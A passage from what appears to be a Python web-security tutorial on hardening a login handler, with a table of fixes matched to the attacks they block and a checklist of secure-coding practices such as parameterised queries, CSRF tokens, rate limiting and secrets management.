argon2 verify (not ==) | Plaintext passwords, timing attacks (verify is constant-time inside) |
| Single generic "invalid credentials" | Account enumeration via differentiated errors |
_DUMMY_HASH on missing-user path | Enumeration via response-time difference |
CSRFProtect(app) + token in form | CSRF on cookie-auth POST |
@limiter.limit("5 per minute") | Brute-force password attempts |
session.clear() before write | Session fixation |
HttpOnly, Secure, SameSite cookie flags | XSS exfiltration, downgrade, cross-site cookie attachment |
ph.check_needs_rehash on success | Cost-factor drift over years |
Env-driven secret_key | Hardcoded secrets in git history |
Notice the layering: no single fix would be enough. If you parameterise the SQL but still allow enumeration, attackers can still build phishing lists. If you add a rate limit but don't fix the SQL injection, one carefully crafted request still bypasses everything. Each defence blocks one type of attack, and you need all of them together.
What's still missing for a full production system:
- MFA for high-value accounts.
- Login-anomaly detection (new device, new location → email the user).
- Password breach check: Have I Been Pwned's k-anonymity API blocks signups using known-leaked passwords.
- Lockout policy for repeated failures from the same account across IPs.
- Logging: every success and failure to your auth log, and nothing to STDOUT containing passwords.
But the changes above are a realistic fix, from broken to defensible. Use them as a code review checklist for any login handler you take over.
What You Learned
- Parameterise queries. Never concatenate user input into SQL or shell commands.
shell=True+ user input allows remote code execution. - One generic error on auth failures, with timing equalised via dummy hash. Don't enumerate accounts.
- HTTPS + HSTS + Secure cookies. Encrypt at-rest the fields that need it (
cryptography.Fernet). defusedxmlfor any XML from untrusted sources, never rawxml.etree.- Scope every query by current user. IDOR is a very common access-control bug. Return 404, not 403, to avoid leaking existence.
- No
DEBUG=Truein production. The Werkzeug debugger gives anyone a Python shell, and Django's debug pages leak settings and source code. - Auto-escape templates, and use
|safeonly on already-sanitised HTML. Nevereval()user input. CSP as defence-in-depth. - Never
pickle.loaduntrusted data: it allows arbitrary code execution. JSON or Pydantic. pip-auditin CI, automatic dependency updates via Dependabot/Renovate.- Log auth events, but never log passwords or tokens. Have an incident response plan.
- CSRF tokens for cookie-auth forms. Bearer-token APIs don't need CSRF but need other defences.
- Rate limit login, signup, password reset, anything expensive, with
flask-limiter,slowapiordjango-ratelimit. - Security headers: HSTS, CSP, X-Frame-Options, X-Content-Type-Options, Referrer-Policy. Set with
flask-talismanor equivalent. Check via Mozilla Observatory. - Validate at boundaries with Pydantic/forms. Validation must happen on the server, and client validation is only for UX.
- Secrets in a manager, not the repo. Locally
.env, in production AWS Secrets Manager / Vault / GCP Secret Manager.
That is the end of the Auth & Security path. The idea that connects all four lessons is defence in depth. Hashing without rate-limiting can still be defeated by a patient attacker. Rate-limiting without CSRF protection can still be defeated when a logged-in user clicks a link on evil.com. Each layer blocks one type of attack, and you need all of them.
Next path: continue with the deeper databases coverage, or the devops-github-actions lessons that automate the security tooling (pip-audit, secret scanning, Dependabot) into your CI pipeline, so the checks above run on every PR and not only when you remember.
Found this useful? Share it with a friend who’s learning Python.